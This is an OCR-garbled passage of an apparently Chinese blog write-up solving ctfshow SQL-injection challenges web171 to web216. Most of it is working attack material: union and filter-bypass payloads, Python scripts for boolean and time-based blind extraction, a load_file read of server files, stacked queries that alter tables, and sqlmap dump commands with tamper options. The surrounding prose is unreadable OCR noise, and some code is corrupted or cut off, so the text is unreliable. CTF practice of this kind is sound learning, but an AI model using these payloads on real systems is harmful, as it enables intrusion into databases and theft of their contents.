ctfshow web A |] sqliE A

Sentiment. F 2021-12-07 16:10:38 KA 220 e
4r3ERE: WP CTF CTFshow SCEHR4E:  sql R B EE

FRBUE B RSO EJRAISCE, MAE CC 4.0 BY-SA RN, HEIFH LRICH AsEEMAF Y.
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TR B

CTFshow
8RXEOITH
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web171

HHIEH

$sql = "select username,password from user where username !='flag' and id = '".$ GET['id']."' limit 1;";

B 5 E RS U8
payload:

1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+ //c
tfshow_user

1' union select 1,group_concat(column_name),3 from information_schema.columns where table name='ctfshow_user'--+
//id,username,password

1' union select 1,group_concat(id,username,password),3 from ctfshow_user --+

R LA 3 B E D

1'or 1=1--+

web172(3d 78 5] & K %)
BHEH

$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$ GET['id']."' limit 1;"

)

R [F]32 45


https://blog.csdn.net/weixin_54902210
https://blog.csdn.net/weixin_54902210/category_11482665.html
https://blog.csdn.net/weixin_54902210/category_11229610.html
https://blog.csdn.net/weixin_54902210/category_11482664.html
https://so.csdn.net/so/search/s.do?q=sql&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E5%2589%258D%25E7%25AB%25AF&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E6%2595%25B0%25E6%258D%25AE%25E5%25BA%2593&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/weixin_54902210/article/details/121771971
https://blog.csdn.net/weixin_54902210/category_11482665.html
https://blog.csdn.net/weixin_54902210/category_11229610.html
https://blog.csdn.net/weixin_54902210/category_11482664.html
https://mp.csdn.net/clock?utm_campaign=marketingcard&utm_source=weixin_54902210&utm_content=121771971

/ /K EERE TR Tlag
if($row->username!=="flag"){

$ret['msg' ]="'EHEIY";
}

5| S HE, I B B0E B R ctfshow_user2, AW R A FAN B &AL, 1R B2 4 & R RAVA Be A flag 7 B BT AR LA
payload:

' union select 1,group_concat(id,username,password) from ctfshow_user2 --+

' union select to_base64(username),hex(password) from ctfshow _user2 --+

web173
5 bR A — 3, B3R FE A ctfshow_user3

payload:

1' union select id,to_base64(username),hex(password) from ctfshow_user3 --+

web174—E##. FHE#)
REZE, NEeHflagfHT

/I RBELERREHflag
if(!preg_match('/flag|[@-9]/i', json_encode($ret))){
$ret['msg' ]="EHWI";
)i

PR, A B R LA EE

http://1232e425-5021-4b0c-ad43-675c395061e7.challenge.ctf.show/api/v4.php?id=1

regexplLACCtIT Sk 4F A BE I AN AR &, Fr AW BE = H IR £ 2 RER 4 T AEAT AT LAS 5 46



H#@Auth: Sentiment
import requests
url="http://37fbe478-a31b-45aa-b027-610f5342ae76.challenge.ctf.show/api/v4.php"
flag=""
for i in range(1,100):
m=32
n=127
while 1:
mid=(m+n)//2
#payload="?id=1"' and ascii(substr((select database()),{},1))<{}--+".format(i,mid) #%HEEctfshow web

#payload="?id=1"' and ascii(substr((select group_concat(table_name)from information_schema.tables where t
able schema='ctfshow web'),{},1))<{}--+".format(i,mid) #&%ctfshow users

#payload = "?id=1"' and ascii(substr((select group_concat(column_name)from information_schema.columns whe

re table name='ctfshow user4'),{},1))<{}--+".format(i, mid) #%14id,username,password

payload="?id=1"' and ascii(substr((select password from ctfshow_user4 where password regexp('~ctf')),{},1
))<{}--+".format(i,mid)

r=requests.get(url=url+payload)
if "admin" in r.text:
n=mid
else:
m=mid
if(m+l==n):
flag+=chr(m)
print(flag)
break

ft— B KfEpayload, 2= A4 B B i 2 7 £F B #

@' union select REPLACE(username,'g','j"'),REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE (REPLACE (REPLAC
E(REPLACE (REPLACE (password, 'g"','9'),'®"','h"),"1','i"),'2",'3"'),"'3",'k"),'4"','1"),'5"','m"),'6"','n"),'7"','0"),'8",
'p'),'9','q") from ctfshow_user4 where username='flag' %23

R ¥ Ah
1 & #oRL

web175(k 8] 5 i)
IR [B112 45

//REERELTAflag
if(!preg _match('/[\x00-\x7f]/i', json_encode($ret))){
$ret['msg' |="EHLI";

ANBE B Basciif30-127 1 4 2, JC L & T W] AR I 18 5 i




FE bR SR A2 ok B A]

H#@Auth: Sentiment
import requests
url="http://9234c127-b6c4-4282-ae2b-ffd329794833.challenge.ctf.show/api/v5.php"
flag=""
for i in range(1,100):
m=32
n=127
while 1:
mid=(m+n)//2
#payload="?id=1"' and if(ascii(substr((select database()),{},1))<{},sleep(2),0)--+".format(i,mid) ##IEE

ctfshow_web

#payload="?id=1"' and if(ascii(substr((select group_concat(table_name)from information_schema.tables when
e table schema='ctfshow web'),{},1))<{},sleep(2),0)--+".format(i,mid) #&Actfshow users

#payload = "?id=1"' and if(ascii(substr((select group_concat(column_name)from information_schema.columns
where table name='ctfshow user5'),{},1))<{},sleep(2),0)--+".format(i, mid) #%4id,username,password

payload="?id=1' and if(ascii(substr((select password from ctfshow_user5 where password regexp('~ctf')),{
},1))<{},sleep(2),0)--+".format (i, mid)

#print(payload)
try:
r = requests.get(url=url + payload,timeout=1.5)
m=mid
except:
n=mid
if(m+l==n):
flag+=chr(m)
print(flag)
break

web176(K /M5 Seit)

#i\1 union select 1,2,3—+ KR [E 4, fit2HTuE
ZRKNEGDE, RWERET

1’ union sElect 1,2,3—+

payload:

1' union sElect 1,2,password from ctfshow_user --+
R LA 3 B B D
1' or 1=1--+

web177(i 38 2= %)

T yEselect. &%

AR/ /3 %028 2 4%, %23 B EREAT

1'/**/union/**/sElect/**/1,2,password/**/from/**/ctfshow_user%23
T3 RE R
1'/**/or/**/1=1%23




web178(it 38 /*+/)
T ¥Eselect. kg *
A B ] BLE %0a,%09,%0Db,%0¢,%0d f1#E S0

payload:

1'%Paunion%PasElect%0@al, 2, password%@afrom%@actfshow user%23
T3 RE Y

1'or(1=1)%23

web179(id 3 %09. %0a)
T yEselect. . *. %09. %0a

A LA %0b,%0c, %0d Fi#E 5 X &

1'%0cunion%@csElect%0cl, 2, password%0cfrom%0cctfshow_user%23
7 BT

1'or(1=1)%23 B 1'or%ecl=1%23

web180(it J&#. —+)
T ikselect. . *. %09. %0a. %23
%23%banT 7l LLF—%0c-1% 8 Bk H i &

payload:

1'union%@cselect%0cl,2,group_concat(password)%@cfrom%»@cctfshow_user--%0c-

26'union%@cselecT%0cl, 2, group_concat(password)%0cfrom%0cctfshow_user¥%@cwhere%0c'1'="1

Yatackerfi{& 1) Geict & 8

‘or(id=26)and'1'="1
G

where username !='flag' and id = ''or(id=26)and'1'='1"' limit 1;";

web181(id 38 select)
AL

/ /X NI SH0HAT T i3 U
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);

I8 T A B, R B HE S IF B Xt selectf R/ #R 4G 3, X1 b A A L R i Yatacker)iTi {4 ) payload B A

payload;

'or(id=26)and'1'="1

web182

% it 3 T flag, b fipayload B AT

web183(likes:: \)



HHIEE

$sql = "select count(pass) from ".$ POST['tableName'].";";

R [E]2

function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i",
$str);
)i

S RE T R 2 AT i F ctfshow_user,postfé ZtableName=ctfshow_user’k Bl [6] &, B B VE A B — T (% B & H )
Exp

H@Auth: Sentiment
import requests
url="http://dfff081la-50eb-47e7-9e44-0025baaf6e31l.challenge.ctf.show/select-waf.php"’
flag="ctfshow{"'
for i in range(100):
for j in '1234567890abcdefghijklmnopgrstuvwxyz-{}":
data={
"tableName':" (ctfshow_user)where(pass)like'{}%"'".format(flag+]j)
#'tableName': f"(ctfshow_user)where(substr(pass,{i},1))regexp('{j}"')"

}
print(data)
res=requests.post(url=url,data=data).text

if '$user_count = 1;'in res:

flag+=j
print(flag)
break

web184(it & where)

e E— @R B IE T BG5S, where

FA163EHISRICHS, Fright joiniE4T %2 ), Bihaving & #)

right join 3%

Sqlserver_leftjoin . right joiny inner join FA¥Z%: - 1R FIRIDA T BEiE R - % (cnblogs.com)
group by having %

SQLHF Higroup by . count. having )& 5 F7%_wangmiaoyani¥) 1§ 2 -CSDNI#H %

group by having il 4«


https://www.cnblogs.com/ingstyle/p/4368064.html
https://blog.csdn.net/wangmiaoyan/article/details/82285416

H#@Auth: Sentiment
import requests

def str_to _hex(s):

return ''.join([hex(ord(c)).replace('ox', '') for c in s])

url="http://2f8e6f9c-716d-4c93-8174-142015e8d096.challenge.ctf.show/select-waf.php"’
flag="ctfshow{"
for i in range(100):
for j in '1234567890abcdefghijklmnopgrstuvwxyz-{}":
data={
#'tableName' :"ctfshow_user group by pass having pass like {}".format("ex"+str_to_hex(flag+j+"%"))
'tableName':"ctfshow_user a inner join ctfshow_user b on b.pass like {}".format("ex"+str_to_hex(flag|

+3+"%")) // inner join#EETH

}

print(data)

res=requests.post(url=url,data=data).text

if '$user_count = 22;'in res:## group by:1 inner join:22
flag+=j
print(flag)
break

Y418 I right joiniZ 225 ) i 4

# @Author:Y4tacker
import requests

url = "http://fl5ac2ca-94b7-4257-a52a-00e52ecee805.chall.ctf.show/select-waf.php"

flag = 'flag{’
for i in range(45):
if i <= 5:
continue
for j in range(127):
data = {
"tableName": f"ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{i},1)regexp(char({j

}

r = requests.post(url,data=data)
if r.text.find("$user_count = 43;")>0:
if chr(j) = ".":
flag += chr(j)
print(flag.lower())
if chr(j) == "}":
exit(0)
break

web185(trueft & %+ ,concat+chril & 5| 5)
i [ 4

function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|int
o|where|[\x26|\"'|\" |union|\" |sleep|benchmark/i', $str);
)

fE bR Al b 3OS I8 T #0777 DL A true R B B0 Bt — 5k B (sqltrue=1.  true+true=2 DA )




true pi()
true+true

floor(pi())

ceil(pi())

floor(version())
ceil(version())
ceil(pi()+pi()
floor(version()+pi())
floor(pi()*pi())
ceil(pi()*pi()
ceil(pi()*pi()) +true
cei(pi()+pi() +version())
floor(piQ*pi()+pi()
ceil(piQ*piQ+pi0)
ceil(pi()*pi() +version())
floor(pi()*version())
ceil(pi()*version())
ceil(pi()*version()) +true
floor((pi()+pi()*pi()
ceil((piQ+pi()*pi()
ceil(ceil(pi())*version())
ceil(pi()*ceilpi()+pi()
ceil((pi()+ceil(pi()*pi())
ceil(pi())*ceil(version())
floor(pi()*(version()+pi()))
floor(version()*version())
ceil(version()*version())
ceil(piQ*pi0*piQ-pi0)
floor(piQ*pi()*floor(pi()))

FH concat¥trueidk /T 1

EXP

@m‘dmmhwm—h



H#@Auth: Sentiment

import requests

def Num(n):
num = 'true’
if n ==
return 'true’
else:

for i in range(n - 1):

num += "+true"

return num

StrNum(s):

str=""
str+="chr("+Num(ord(s[0]))+")"
for i in s[1:]:

str+=",chr("+Num(ord(i))+")"
return str

url="http://56e8b657-7430-4ad6-b17a-a8c55559f2fb.challenge.ctf.show/select-waf.php"’
flag="ctfshow{"'

for i in range(100):

for j in '1234567890abcdefghijklmnopgrstuvwxyz-{}":
data={
"tableName':"ctfshow_user group by pass having pass like(concat({}))".format(StrNum(flag+j+"%"))
¥
print(data)
res=requests.post(url=url,data=data).text
if '$user_count = 0;'not in res:
flag+=j
print(flag)
break

web186

il

web187(md5iE A\ )
AFHAT(HK)

F P 4 35 5 adminZE §5 Affifdyop
web188(mysqlds & 2 bt ;)
EifIEH

$sql = "select pass from ctfshow_user where username =

= {$username}";

iR 624



/ /P 22 R
if(preg_match('/and|or|select|from|where|union|join|sleep|benchmark|, |\(|\)|\'|\"/i', $username)){
$ret['msg' ="' &3 ;
die(json_encode($ret));
¥

/[ RS
if(lis_ numeric($password)){
$ret['msg' |="'EMHEENETF " ;

dle(json_encode($ret)),

¥

/ VBT
if($row[ 'pass' ]==intval($password)){
$ret['msg' ]="BMimRI";
array_push($ret['data'], array('flag'=>$flag));
¥

2 mysqlgs L
mysqth 2 77 7E 55 K B L AL

AT R R AL, B Zmy sql AT B S ECTE MBI R, SR AT B SER TR LB W123bace 12340 .

BRI FRA 17E I B B ffus ername=0, 453K [5— % PLo Tk i $idE .

F9RA 2 25 B 550, B R 5 T R ARGLK L ETSELECT * FROM kk where 0,28 i 25 B I LB B

payload:

web189(id #E select load_file+regexps it)

& H $#& 7~ flagtE/api/index.phpH, 3 Hid 38 T select, Bt LAF] LA id load_file>R 5k Eindex.phpH iiflagfE, il i b & H i)
username=0%g3d ,username OB & [B] %5 il 48 1%, 4 1 B 2.7 25 ) 2R U 1) i 1 )

username=if((load_file('/var/www/html/api/index.php'))regexp('ctfshow{"'),0,1)&password=0

EXP



H#@Auth: Sentiment
import requests
url="http://f302ea73-14d5-41a9-a4db-1911dcad4al5c.challenge.ctf.show/api/index.php"
flag="ctfshow{"
for i in range(100):
for j in '1234567890abcdefjhijklmnopgrstuvwxyz-{}":
data={
'username' :"if(load_file('/var/www/html/api/index.php')regexp('{}'),0,1)#".format(flag+j),
'password’ :0
}
r=requests.post(url=url,data=data)
if "\\u5bc6\\u7801\\u9519\\u8bef" in r.text:
flag+=j
print(flag)
break
else:

continue
M/RBHE
web190(jsonk & H iE)
TS EEE
EXP

H#@Auth: Sentiment
import requests
url="http://5b13170f-90be-42b5-bbae-1508d1681b51.challenge.ctf.show/api/index.php"
flag=""
for i in range(1,100):
m=32
n=127
while 1:
mid=(m+n)//2
data={
#'username':"admin' and (ascii(substr((select group_concat(table_name) from information_schema.table
s where table_schema=database()),{},1))<{})#".format(i,mid),#ctfshow_flog,ctfshow_user
#'username’:"admin' and (ascii(substr((select group_concat(column_name) from information_schema.colu
mns where table name='ctfshow fleg'),{},1))<{})#".format(i, mid), # id,flag
'username’:"admin' and (ascii(substr((select flag from ctfshow f1lOg),{},1))<{})#".format(i, mid), 4
ctfshow{8b130bd8-0920-4c60-a748-b204536bfdO1}
'password’ :0
}
#print(data)
r=requests.post(url=url,data=data)
if "\\u5bc6\\u7801\\u9519\\u8bef" in r.text:
n=mid
else:
m=mid
if (m+ 1 == n):
flag += chr(m)
print(flag)
break

web191(E ¥ -id 3 ascii)

i3 98 T ascii, ] LA Ford X &




EXP

H#@Auth: Sentiment
import requests
url="http://aaf03029-doec-42c2-bacl-b2f62b16b736.challenge.ctf.show/api/index.php"
flag=""
for i in range(1,100):
m=32
n=127
while 1:
mid=(m+n)//2
data={
#'username':"admin' and (ord(substr((select group_concat(table_name) from information_schema.tables
where table_schema=database()),{},1))<{})#".format(i,mid),#ctfshow_fleg,ctfshow_user
'username’:"admin' and (ord(substr((select group_concat(column_name) from information_schema.columns
where table_name='ctfshow fleg'),{},1))<{})#".format(i, mid), # id,flag

#'username':"admin' and (ord(substr((select flag from ctfshow_f10g),{},1))<{})#".format(i, mid), #
ctfshow{8b130bd8-0920-4c60-a748-b204536bfd0O1}
'password’ :0

}
#print(data)
r=requests.post(url=url,data=data)
if "\\u5bc6\\u7801\\u9519\\u8bef" in r.text:
n=mid
else:
m=mid
if (m+ 1 == n):
flag += chr(m)
print(flag)

break

web192(FE ¥ -id 3 ord)
I ¥#€ascii. ord
7] DL chrfe B s

EXP



H#@Auth: Sentiment
import requests
url="http://ac85e067-874a-4ede-b8f6-76d459al2bef.challenge.ctf.show/api/index.php"
flag=""
for i in range(1,100):
m=32
n=127
while 1:
mid=(m+n)//2
data={
#'username':"admin' and (substr((select group_concat(table_name) from information_schema.tables wher
e table_schema=database()),{},1))<"'{}'#".format(i,chr(mid)),#ctfshow_flog,ctfshow_user
#'username':"admin' and (substr((select group_concat(column_name) from information_schema.columns wh
ere table_name='ctfshow_fleg'),{},1))<'{}'#".format(i, chr(mid)), # id,flag
'username’:"admin' and (substr((select flag from ctfshow_flog),{},1))<'{} '#".format(i, chr(mid)), #
ctfshow{7b03d3e9-190a-4312-9b13-008c7d2ce6f7}
'password’ :0
¥
#print(data)
r=requests.post(url=url,data=data)
if "\\u5bc6\\u7801\\u9519\\u8bef" in r.text:
n=mid
else:
m=mid
if (m+ 1 == n):
flag += chr(m)
print(flag.lower())
break

web193(id #E substr likei: )

I ¥kascii. ord. substr
Al LA like B regexp R &
EXP

H@Auth: Sentiment
import requests
url="http://499b6649-1a2d-43ff-9094-7767b2cb60cd.challenge.ctf.show/api/index.php"
flag=""
for i in range(100):
for j in 'abcdefghijklmnopqgrstuvwxyz0123456789- ,{}':
data={
#'username':"admin' and (select group_concat(table name) from information_schema.tables where table
schema=database())like'{}'#".format(flag+j+'%"),#ctfshow_flxg
#'username':"admin' and (select group_concat(column_name) from information_schema.columns where tabl
e _name='ctfshow flxg')like'{}'#".format(flag+j+'%"'), # id,flag
'username':"admin' and (select flag from ctfshow flxg)like'{}'#".format(flag+j+'%'), # ctfshow{7b03
d3e9-190a-43f2-9b13-008c7d2ce6f7}
'password’ :0
}
r=requests.post(url=url,data=data)
if "\\u5bc6\\u7801\\u9519\\u8bef" in r.text:
flag+=j
print(flag)
break

web194(id J€ substr locatei: \)




AL

5 4h A fR L B A Flocate

payload = f"admin' and if(locate('{final}', (select flag from ctfshow flxg limit 0,1))=1,1,0)#"

locate ] vk

BE —

LOCATE(substr,str)

IR [B] 7 FF B substr 55 — IR I T 45 5 B2 B str
B

LOCATE(substr,str,pos)

R [EZFF fsubstrh 58— MNHEBL T FRFE R striv B, WAL BTG pos. 0 W substrANTE, N iR [Estr. 3R [E] NULLII SR substr 5%
FstrENULL.

. mysql> SELECT LOCATE('bar', 'foobarbar');
-> 4
. mysql> SELECT LOCATE('xbar', 'foobar');

-> 0
. mysql> SELECT LOCATE('bar', 'foobarbar', 5);
-=> 7

SHYATE A
EXP

H#@Auth: Sentiment
import requests
url = "http://32b4cad0@-974a-4a74-96df-4a293f503e8b.challenge.ctf.show/api/"
final = ""
"abcdefjhijklmnopgrstuvwxyz12345567890-_{}"
i in range(1,45):
for j in str:
final += j
# payload = f"admin' and if(locate('{final}', (select table name from information_schema.tables where tab
le_schema=database()))=1,1,0)#" # ctfshow_flxg
# payload = f"admin' and if(locate('{final}', (select column_name from information_schema.columns where t
able name='ctfshow flxg'))=1,1,0)#" # flag

payload = f"admin' and if(locate('{final}', (select flag from ctfshow flxg ))=1,1,0)#"
data = {
'username’: payload,

'password’: '1'

}

#print(data)

r = requests.post(url,data=data)

if "\\u5bc6\\u7801\\u9519\\u8bef" in r.text:
print(final)

else:
final = final[:-1]

HEBIEAN
web 1950 & i\ -1t 38 = #%)



AR5 X 5 R 7 Krpass BN 1

payload:

0;update’ ctfshow_user set pass =1

1

web196
$RRIEUE T select (B SZFR¥ban selectBH kit 5% T JE T 1, 27 i 7 40138 T BA A 2 1

payload:

0;select(1)
L

web197( B iE N -E K5 4)
BH T update IR BUHEG T o HARXASHIW K TEBATAT LUE D K pass 7 BMid 7 B L #.
payload

username:0;alter table " ctfshow_user’ change “pass  “klhe  varchar(255); alter table " ctfshow_user’ change "id"

“pass’ varchar(255);

password:1

#% Fusemame Xy
web198

AL
web199—200

FoiX BAR LR B EERE WG S RAMEARSHELE. A row[0]IFF1E

B 1 190-200#F 7] £ A 3X AN JE i payload

username:0;show tables;

password:ctfshow_user

sqlmap
web201(sqlmap)
A& B iR

f# - -user-agent #Eagent
i fl - -referer Siifrefererth®

—user-agent=AGENT BRiIAEH T sqlmapHIHTTPIER kHUser-AgentfEZ: sqlmap/1.0-dev-xxxxxxx(http://sqlmap.org) I LAfEH-us
er-agentZHkEek, RIRAT LLEH -random-agent S HREENLKIM . /txt/user-agents. txtH3REL. H-level St N3EiH 3L LK
i, S2ik%tUser-Angent#H TIEAN

—referer=REFERER sqlmap®] LAZEIER HhiEHT TP fireferer, -level S¥¥kE M35 3 LR IR &2 A% refereriE A

A HE



python sqglmap.py -u "http://28e537e8-e95e-4fd6-9eed-64a834f1fffd.challenge.ctf.show/api/?id=1" --dbs --referer=h
ttp://28e537e8-e95e-4fd6-9eed-64a834f1fffd.challenge.ctf.show/sqlmap.php

BRAY

python sqlmap.py -u "http://28e537e8-e95e-4fd6-9eed-64a834f1fffd.challenge.ctf.show/api/?id=1" --referer=http://
28e537e8-e95e-4fd6-9eed-64a834f1fffd.challenge.ctf.show/sqlmap.php -D ctfshow_web --tables

"4

python sqlmap.py -u "http://28e537e8-e95e-4fd6-9eed-64a834f1fffd.challenge.ctf.show/api/?id=1" --referer=http://
28e537e8-e95e-4fd6-9eed-64a834f1fffd.challenge.ctf.show/sqlmap.php -D ctfshow web -T ctfshow_user -columns

Jatab

24

python sqlmap.py -u "http://28e537e8-e95e-4fd6-9eed-64a834f1fffd.challenge.ctf.show/api/?id=1" --referer=http://

28e537e8-e95e-4fd6-9eed-64a834f1fffd.challenge.ctf.show/sqlmap.php -D ctfshow web -T ctfshow_user -C pass --dump




web202(sqlmap-data)

A H 3R

ffifH - -data A% sqlmapfiERA X

Fl—dataitsipostid K 77 BN AT
payload:

python sqlmap.py -u "http://15b78f5c-eced-4983-bd9a-39fa94cf4eba.challenge. .show/api/" --data="id=1"
r="ctf.show" --dbs
python sqlmap.py -u "http://15b78f5c-eced-4983-bd9a-39fa94cf4eba.challenge. .show/api/" --data="id=1"
.show" -D ctfshow_web -tables
sqlmap.py -u "http://15b78f5c-eced-4983-bd9a-39fa94cf4eba.challenge. .show/api/" --data="id=1"
.show" -D ctfshow_web -T ctfshow_user -columns
sqlmap.py -u "http://15b78f5c-eced-4983-bd9a-39fa94cf4eba.challenge. .show/api/" --data="id=1"
.show" -D ctfshow_web -T ctfshow _user -C pass --dump

web203(sqlmap-method)
A H

ffH - -method A% sqlmaphiER77

—method 552 put iER 5 R, BEM L —-headers="Content-Type: text/plain"# N put kW R B S .

payload:

python sqglmap.py -u "http://bbelab37-2b33-4696-b7b5-7904a0f107aa.challenge.ctf.show/api/index.php" --method=PUT
--data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" -D ctfshow web -T ctfshow _user -C pass --d

ump

web204(sqlmap-cookie)
SN

ffiFH - -cookie #3ZcookieiE

payload:

python sqlmap.py -u "http://f00571db-7146-4342-a852-bfa8b9a2dade.challenge.ctf.show/api/index.php" --method=PUT

--data="1id=1" --referer=ctf.show --headers="Content-Type: text/plain" -D ctfshow_web -T ctfshow_user -C pass --¢

ookie="PHPSESSID=10v1p6t9nj86pdv941jfOte35a;ctfshow=6459490db328da7d0f5732fd12e693f8" --dump

web205(sqlmap-api% i)



L H 3

api i =B

js AL R AT PA R B, 7E 45 ¥k 5 18] /api/index.php, 75 B 4 1 R /api/getToken.php

mmE  EEs:E D ser jquery-3.2.1.minjs selectjs X
338
v EI top 39 layui.use('form', function(){
v ¢ 249hb232-481e-4d45-9aa3-71c 48 var form = layui.form;
- Ejjs 41 $Drm.?n['5ubmit(*}'} function(data){
) o 42 $.ajax({
[j jquery-3.2.1.minjs 43 url: 'api/getToken.php’
[Y selectjs 44 1 [ ]
- 45 var 1d = data.field['id'];
» EjlayU| 4B var table = layul.table;
[B sqlmap.php a7 table.reload({ 'user_table', {
438 url: api/?id="+id
49 h
50 return false; //0H L7 o1 L i Eg=d
510 1)
521y

Prx BB ERENNSH

--safe-url WEENHR B Fribhk 577 a5 2 &8

--safe-freq % B RIENIR AT UG 18] 22 4 8 1R

payload:

python sqlmap.py -u "http://249bb232-481e-4d45-9aa3-71c2930344b8.challenge.ctf.show/api/index.php" --method=PUT
--data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" --safe-url=http://249bb232-481e-4d45-9aa3

-71c2930344b8.challenge.ctf.show/api/getToken.php --safe-freqg=1 -D ctfshow_web -T ctfshow_flax -C flagx --dump
--batch

web206

B H 3R

BT )77 3 Hsqgimap< B 2R 51, BT A @ payload B 7]
web207(sqlmap-tamperid 3 %5 #)

RSN

I 4AE Ftamper T

{F—tamper B 5 i I A<

space2comment . pyFH /** /A8 &4

apostrophemask.pyFutf8f{# 35| 5

equaltolike.pylikefR& %5

C-9) FR-ABITSERE, — N HEIE/FREN—HT Cn?)




greatest.py #%ididyE’>’ , FIGREATESTE# AT 5.

space2hash. py i B ##5 , BN FRF AR IRATRF

apostrophenullencode.py&id LN G5, BHRFEFMIG] S .
halfversionedmorekeywords . py 2¥E e Amy sql it Seid B k3%, 4K 2Z A my sqliRASPEiL
space2morehash.pyZ#& & A #5 DREZHEILERNE WITH

appendnullbyte. py £ R4 f 45 AL B NEE 7 F R 9w i

ifnull2ifisnull.py SEEXFIFNULLIEYE, B#eJSML> IFNULL(A,B)’ R° IF (ISNULL(A), B, A)’

space2mssqlblank.py(mssql) T &AL EZ/KS

base64encode.py Fflbase644whts &k

space2mssqlhash.py E#EH

modsecurityversioned.pyit#EZH, A& eI EH R ATER:

space2mysqlblank.py FTHEHREEZTARS (mysql)

between.pyfbetweenE#H AT S ()

space2mysqldash.pyB#HEKRERF (?) C - O FR—ABEFSER—AHIT C n’)

multiplespaces.pyH%SQLREFRIME AT

space2plus.pyH+&# =

bluecoat.pyfRE& EH& ¥/ F 5 —MEMMBEHLE B F/FHISQLIER , )5 B #f=T9like

nonrecursivereplacement.py XX E & #iE ), BUSQLK R T

space2randomblank.pyREE#FRF (“?) N—NREHLIZE B 755 /G 775 KA 2k

sp_password.pyiBlllsp_password’ DBMS H & 1] B shs kb3 18 3k K B

chardoubleencode.pyXurlZmfd (A AL LLRAD )

unionalltounion.py##UNION ALLSELECT UNION SELECT

charencode.py url4mfg

randomcase. pyFEHL KNG

unmagicquotes. pyﬁ?ﬁ‘%ﬂ GPCaddslashes

randomcomments . py Fil /**/ 4r %] sql k58 7

charunicodeencode.pyF#F&# unicode ZwfY

securesphere . py3i& sl 775 5

versionedmorekeywords . pyi:Bguid

space2comment . py B FRFE () ERHER/*+*/°




halfversionedmorekeywords . py <& ai invERE

AR R T A R AT DL B AE F space2comment.py,  FI/HARE B

payload:

python sqlmap.py -u "http://bba43734-4e7f-4cc9-b432-c7d28e41ba76.challenge.ctf.show/api/index.php" --method=PUT
--data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" --safe-url=http://bba43734-4e7f-4cc9-b432-

c7d28e4fb476.challenge.ctf.show/api/getToken.php --safe-freq=1 -D ctfshow _web -T ctfshow_flaxca -C flagvc --dump

--tamper="tamper/space2comment.py"” --batch

web208(tamperit i select. %)
it Eselect. T
7] LA A unionalltounion.py® #tselect&iid

payload:

python sqlmap.py -u "http://1b17c984-81f6-4085-ad8a-bf67223892d8.challenge.ctf.show/api/index.php" --method=PUT
--data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" --safe-url=http://1b17c984-81f6-4085-ad8a
-bf67223892d8.challenge.ctf.show/api/getToken.php --safe-freq=1 -D ctfshow_web -T ctfshow_flaxca -C flagvc --du

mp --tamper="tamper/unionalltounion. tamper/space2comment.py"” --batch
p p p py, p p py

web209-213

FE Stamper, 2 A f ] ~~

i} 18] B v

web214(i ] & 1 B )
BB, Tl

WTFERAHB THEAR

(W]

console.iog{déta}; -
1h:
1S

& ebcB89456-222¢c-41cc-872c-e1db973b0434.cha
v D i5
JS jquery-3.2.1.minjs
$.ajax({

e

]

[T+]

> O layui dataType:"json”,
& pv.sohu.com type: 'post’,
data:{
® resourcey//gre ip:returnCitySN["cip"],
debug:@
¥
12 1y

EXP



H#@Auth: Sentiment
import requests
url="http://b88eed8b-d22b-424a-2a07e-0a698613b0e9.challenge.ctf.show/api/index.php"
flag=""
for i in range(1,100):
m=32
n=127
while 1:
mid=(m+n)//2
data={
#'ip':"if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schem
a=database()),{},1))<{},sleep(2),0)".format(i,mid), 'debug':"0@" #ctfshow_ flagx
#'ip':"if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name
='ctfshow_flagx"'),{},1))<{},sleep(2),0)".format(i,mid), 'debug':"0" #id,flaga,info

'ip':"if(ascii(substr((select flaga from ctfshow_flagx),{},1))<{},sleep(2),0)".format(i,mid), 'debug':"0"
#tctfshow{cca®3fdf-2737-491e-8709-9e20f78f4789}

¥
#print(data)
try:
r = requests.post(url=url,data=data,timeout=1.5)
m=mid
except:
n=mid
if(m+l==n):
flag+=chr(m)
print(flag)
break

web215(F i & i -5 R )
AT 8B5S U ERITHE

EXP



H#@Auth: Sentiment
import requests
url="http://f10cabf3-1700-4a5a-abec-aea5d330a2ce.challenge.ctf.show/api/index.php"
flag=""
for i in range(1,50):
m=32
n=127
while 1:
mid=(m+n)//2
data={
#'ip':"'or if (ascii(substr((select group_concat(table_name) from information_schema.tables where ta
ble_schema=database()),{},1))<{},sleep(1),0)#".format(i,mid),#ctfshow_flagxc,ctfshow_info
#'ip': "'or if (ascii(substr((select group_concat(column_name) from information_schema.columns where
table_name='ctfshow_flagxc'),{},1))<{},sleep(1l),0)#".format(i, mid), # id,flagaa,info
"ip': "'or if (ascii(substr((select flagaa from ctfshow_flagxc),{},1))<{},sleep(1),0)#".format(i, mi
d), # ctfshow{bal7baf8-3fae-41de-8817-ddc47f6a0946}
'debug’':0
¥
#print(data)
try:
r=requests.post(url=url,data=data,timeout=1)
m=mid
except:
n=mid
if(m+l==n):
flag+=chr(m)
print(flag)
break

web216(k 8] 5 i3 -7/ )

HHIEH

where id = from_base64($id);

from_base64£ Xt payloadi# 17 ## % (H R TFEHFE S HA-E R ]



H#@Auth: Sentiment
import requests
url="http://20b1f172-b384-43f5-a2c9-b41931fa9f7f.challenge.ctf.show/api/index.php"
flag=""
for i in range(1,50):
m=32
n=127
while 1:
mid=(m+n)//2
data={
"ip':"1)or if (ascii(substr((select group_concat(table_name) from information_schema.tables where ta
